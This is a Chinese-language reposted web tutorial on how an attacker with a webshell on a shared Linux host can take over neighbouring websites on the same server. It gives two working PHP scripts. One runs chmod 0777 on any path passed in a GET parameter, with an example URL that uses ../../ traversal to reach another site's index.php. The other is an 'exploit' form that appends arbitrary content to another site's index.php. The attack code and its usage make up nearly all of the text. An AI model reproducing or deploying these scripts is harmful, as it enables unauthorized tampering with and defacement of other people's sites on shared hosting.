linux下用webshell修改文件权限

来源:互联网 发布:安全网络教育 编辑:程序博客网 时间:2024/06/05 14:44

当我们拥有了一个linux下的shell(服务器上多个网站)。
这个shell对所在站点的根目录有可写入权限,甚至能查看其他网站的目录。
那么,这样的主机设置肯定是不安全的。
有的时候,我们想对获得同服务器的其他站的权限,比如直接对其他站点的index.php进行修改,却发现没有权限。
我们可以尝试通过以下脚本来实现对其他站点的文件添加权限。
代码:

<?php
$path = stripslashes($_GET[&apos;path&apos;]);
$ok = chmod ($path , 0777);
if ($ok == true)
echo CHMOD OK , Permission editable file or directory. Permission to write;
?>
保存为chmod.PHP
使用方法简单,访问

http://www.heimian.com/chmod.php?path=../../其他站点的目录/index.php

这里的index.PHP是要修改权限的文件。
另外一个exploit:
把下面的代码保存为exploit.PHP
代码:

<?php
@$filename = stripslashes($_POST[&apos;filename&apos;]);
@$mess = stripslashes($_POST[&apos;mess&apos;]);
$fp = @fopen({$_POST[&apos;filename&apos;]}, &apos;a&apos;);
@fputs($fp,$mess <hr size=1 color=black>);
@fclose($fp);
?>
<form name=form1 action=exploit.php method=post>
<p align=center><b>
<br>
CODE :<br>
<textarea name=mess rows=3></textarea></font></b></textarea>
</font></b> <p><input type=hidden name=filename value=../../AUTRE WEBSITE SUR LE MULTIHOSTING/index.php></p>
<center>
<input type=reset name=Submit value=Delete>
<input name=go type=submit value=Send onClick=javascript:this.style.visibility =&apos;hidden&apos;;>
<center>
</form>
<meta http-equiv=Content-Type content=text/html; charset=iso-8859-1>
<title>Changing CHMOD Permissions Exploit – Contact : the_gl4di4t0r[AT]hotmail[DOT]com</title>
</head>
<body>
</center>
</body>